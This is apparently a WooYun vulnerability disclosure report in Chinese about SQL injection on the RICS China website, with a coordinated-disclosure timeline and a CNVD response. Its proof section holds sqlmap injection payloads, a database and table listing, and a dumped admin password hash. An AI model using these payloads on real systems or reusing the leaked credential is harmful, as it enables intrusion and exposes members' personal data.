当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0147668

漏洞标题：RICS官网SQL注射漏洞

相关厂商：皇家特许测量师学会

漏洞作者： 路人甲

提交时间：2015-10-19 21:56

修复时间：2015-12-07 16:34

公开时间：2015-12-07 16:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-19： 细节已通知厂商并且等待厂商处理中
2015-10-23： 厂商已经确认，细节仅向厂商公开
2015-11-02： 细节向核心白帽子及相关领域专家公开
2015-11-12： 细节向普通白帽子公开
2015-11-22： 细节向实习白帽子公开
2015-12-07： 细节向公众公开

简要描述：

RICS（Royal Institution of Chartered Surveyor）-- 英国皇家特许测量师学会，是世界最大的房地产、建筑、测量和环境领域的综合性专业团体，是为全球广泛认可的拥有“物业专才”之称的世界顶级专业性学会。

详细说明：

RICS（皇家特许测量师学会）是一个国际专业人士学会。我们在金砖四国得到全面发展，并得到全球市场和政府部门的一致认可，在全球146个国家拥有超过100,000多名合格会员和80,000多名学生和培训生，我们的办事处遍及全球27个城市.

homepage.jpg

漏洞证明：

target url:
http://**.**.**.**/train.php?cur=notice_detail&id=52&from=singlemessage&isappinstalled=0
选择检测的参数是 id

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cur=notice_detail&id=52 AND 2668=2668&from=singlemessage&isappinstalled=0
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: cur=notice_detail&id=52 AND (SELECT 7351 FROM(SELECT COUNT(*),CONCAT(0x716a787171,(SELECT (ELT(7351=7351,1))),0x716b767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&from=singlemessage&isappinstalled=0
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: cur=notice_detail&id=52 AND (SELECT * FROM (SELECT(SLEEP(5)))iUaQ)&from=singlemessage&isappinstalled=0
    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: cur=notice_detail&id=-1534 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a787171,0x5171446b78586e4e564c,0x716b767871),NULL-- &from=singlemessage&isappinstalled=0
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] ricschina


大量会员信息泄露(上万),不晓得里边有没有专业人士RICS,好像很厉害的样子

Database: ricschina
+----------------------------+---------+
| Table                      | Entries |
+----------------------------+---------+
| ri_member_data             | 5324    |
| ri_member_data_bak1030     | 4858    |
| ri_members                 | 4749    |
| ri_mem_enroll              | 1145    |
| ri_member_reg              | 919     |
| rics_answer                | 250     |
| ri_news_list               | 70      |
| ri_train_notice            | 66      |
| rics_register              | 47      |
| ri_train_review            | 37      |
| ri_standard_file           | 35      |
| ri_about_inchina           | 34      |
| rics_guest                 | 34      |
| ri_train_calendar          | 29      |
| ri_train_course            | 24      |
| ri_become_sort_type        | 22      |
| ri_news_market             | 21      |
| ri_job                     | 19      |
| ri_about_partner           | 17      |
| ri_train_cpd               | 10      |


个人信息(账号密码,email电话, 生日住址等等)

memberinfo01.png


memberinfo02.jpg


admin _infomation

Database: ricschina
Table: ri_admin_user
[1 entry]
+-----------+----------------------------------+-------------------------+
| user_name | password                         | email                   |
+-----------+----------------------------------+-------------------------+
| admin     | f249fc2daf15045c0b13f41e7b694104 | stephen.chen@**.**.**.** |
+-----------+----------------------------------+-------------------------+


修复方案：

你懂的...

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-23 16:32

厂商回复：

CNVD确认并复现所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。

最新状态：

暂无

漏洞评价：

评价